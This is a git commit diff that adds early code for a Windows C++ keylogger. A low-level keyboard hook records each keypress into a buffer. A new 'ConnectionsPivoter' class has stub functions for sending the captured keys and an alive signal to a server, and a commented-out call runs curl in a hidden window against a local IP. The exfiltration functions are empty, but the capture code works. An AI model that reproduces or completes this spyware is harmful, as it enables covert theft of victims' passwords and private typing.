ConnectionsPivoter: Add the initial code for the ConnectionsPivoter

This commit is contained in:
osamu-kj 2022-12-05 22:41:36 +00:00
parent 35f53e30b3
commit 74190d95e0
5 changed files with 91 additions and 1 deletions

View File

@ -8,9 +8,23 @@
#include <string.h>
#include <Windows.h>
#include <WinUser.h>
#include <vector>
#include "codes.h"
#include "connections_pivoter.h"
#define DEBUG FALSE
#define KEYS_LIMIT 100
HHOOK keyboard_events_hook;
std::vector<std::string> virt_codes;
void stack_codes() {
if (virt_codes.size() < KEYS_LIMIT)
return;
std::cout << "Emptied the vector" << std::endl;
virt_codes.clear();
}
LRESULT CALLBACK keyboard_callback(int nCode, WPARAM wParam, LPARAM lParam) {
if (wParam == WM_KEYDOWN) {
@ -18,7 +32,13 @@ LRESULT CALLBACK keyboard_callback(int nCode, WPARAM wParam, LPARAM lParam) {
DWORD virt_code = kbd_struct->vkCode;
std::string string_key_code = VIRTUAL_KEY_CODE_TABLE[virt_code].name;
std::cout << "[!!] Key pressed: " << string_key_code << std::endl;
if (DEBUG) {
std::cout << "Key pressed: " << string_key_code << std::endl;
std::cout << "Len of the vector: " << virt_codes.size() << std::endl;
}
virt_codes.push_back(string_key_code);
stack_codes();
}
return CallNextHookEx(keyboard_events_hook, nCode, wParam, lParam);
}
@ -26,7 +46,29 @@ LRESULT CALLBACK keyboard_callback(int nCode, WPARAM wParam, LPARAM lParam) {
int main() {
keyboard_events_hook = SetWindowsHookExA(WH_KEYBOARD_LL, keyboard_callback, 0, 0);
STARTUPINFOA startup_info;
PROCESS_INFORMATION process_info;
memset(&startup_info, 0, sizeof(STARTUPINFOA));
memset(&process_info, 0, sizeof(PROCESS_INFORMATION));
startup_info.cb = sizeof(startup_info);
/*BOOL test = CreateProcessA(
NULL,
(LPSTR) "curl http://192.168.1.108",
NULL,
NULL,
false,
CREATE_NO_WINDOW,
NULL,
NULL,
&startup_info,
&process_info);
if (test == FALSE) {
std::cout << "problem!" << std::endl;
}*/
// EVENT LOOP
while (GetMessage(NULL, NULL, 0, 0));

View File

@ -118,6 +118,7 @@
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
@ -127,10 +128,12 @@
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="connections_pivoter.cpp" />
<ClCompile Include="Pivoter.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="codes.h" />
<ClInclude Include="connections_pivoter.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">

View File

@ -18,10 +18,16 @@
<ClCompile Include="Pivoter.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="connections_pivoter.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="codes.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="connections_pivoter.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>

18
connections_pivoter.cpp Normal file
View File

@ -0,0 +1,18 @@
#include "connections_pivoter.h"
#include <iostream>
#include <string>
#include <vector>
#include <Windows.h>
ConnectionsPivoter::ConnectionsPivoter(std::string server, SHORT port) {
this->server = server;
this->port = port;
}
BOOL send_alive_signal() {
}
BOOL send_codes(std::vector<std::string> codes) {
}

21
connections_pivoter.h Normal file
View File

@ -0,0 +1,21 @@
#ifndef CONNECTIONS_PIVOTER_H
#define CONNECTIONS_PIVOTER_H
#include <iostream>
#include <string>
#include <vector>
#include <Windows.h>
class ConnectionsPivoter {
public:
std::string server;
SHORT port;
ConnectionsPivoter(std::string server, SHORT port);
BOOL send_alive_signal();
BOOL send_codes(std::vector<std::string> codes);
private:
};
#endif